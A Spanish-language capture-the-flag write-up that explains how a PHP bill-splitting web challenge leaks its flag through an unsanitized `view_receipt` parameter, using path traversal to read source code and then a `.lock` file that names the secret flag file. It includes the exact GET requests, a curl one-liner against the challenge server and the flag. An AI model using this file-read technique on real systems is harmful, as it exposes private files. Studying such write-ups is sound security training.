BillSplitter Lite - Writeup

Reto

Nombre: FlowtTheory (BillSplitter Lite)
Categoría: Web
Flag: `ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}`

Descripción del reto

> "My friends and I built the BillSplitter Lite app to track our expenses and settle debts. It uses some extremely advanced math to make sure everyone pays exactly what they owe... Can you find the hidden administrative fee?"

Reconocimiento

La aplicación es un "BillSplitter" escrito en **PHP 8.0.30** sobre **Apache/2.4.56 (Debian)**. Permite:

1. Agregar "amigos" con un nombre y un monto
2. Calcular el total del grupo
3. Ver "recibos" individuales con el parámetro `?view_receipt=`

Pistas iniciales

- El placeholder del campo nombre dice **"Filename"** en lugar de "Name"
- La nota del sistema dice: *"all of your data is stored in super secure files on our server"*
- Se menciona una *"secret administrative fee of 0.01"*
- El "Vault Balance" siempre muestra **0.01000** incluso sin transacciones

Análisis del código fuente

Paso 1: Leer el código fuente (LFI)

El parámetro `view_receipt` concatena directamente la entrada del usuario al path del directorio sin sanitización:

```php
$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
    $lfi_content = file_get_contents($target);
}
```

Los archivos del usuario se almacenan en `/var/www/html/users/{session_id}/`, así que con path traversal `../../index.php` se lee el código fuente:

```
GET /?view_receipt=../../index.php
```

Paso 2: Entender la lógica del flag

El código fuente revela:

```
// Se genera un nombre aleatorio para ocultar la flag
$secret_name = "secret_" . $random_suffix;  // 8 chars alfanuméricos
aleatorios
$real_flag = trim(file_get_contents('/flag.txt'));
$content = "0.01\n" . $real_flag;

// Se guarda en el directorio del usuario
file_put_contents($user_dir . $secret_name, $content);
// Y el nombre del archivo se guarda en .lock
file_put_contents($flag_file_lock, $secret_name);
```

Puntos clave:

- El flag se almacena en un archivo `secret_XXXXXXXX` dentro del directorio de cada sesión
- El nombre del archivo secreto se guarda en `.lock`
- Los archivos que contienen `secret_` en su nombre se **ocultan de la lista** de transacciones, pero su valor (0.01) se suma al total
- Los nombres de archivo de usuario se sanitizan con `preg_replace('/[^a-zA-Z0-9_]/', '', ...)` evitando path traversal en el POST
- **PERO** el parámetro `view_receipt` (GET) **NO** se sanitiza en absoluto

Explotación

Paso 1: Leer el archivo `.lock`

```
GET /?view_receipt=.lock
```

Respuesta: `secret_rCAlqyJl`

Paso 2: Leer el archivo secreto

```
GET /?view_receipt=secret_rCAlqyJl
```

Respuesta:

```
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
```

Resumen de vulnerabilidades

Vulnerabilidad	Ubicación	Impacto
Local File Inclusion (LFI)	Parámetro `view_receipt` (GET)	Lectura arbitraria de archivos
Information Disclosure	Archivo `.lock` legible	Revela el nombre del archivo secreto

Solución en una línea

```bash
# Obtener sesión y leer .lock, luego leer el archivo secreto
curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null && \
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" |
grep -oP 'secret_\w+') && \
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP
'ENO\{[^}]+\}'
```

Flag

```
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
```

> **Nota sobre la flag:** "floating point precision is not your friend" - un guiño humorístico a los problemas de precisión de punto flotante, que en este caso se usaban como excusa para la "tarifa administrativa" de 0.01 que ocultaba el archivo con la flag.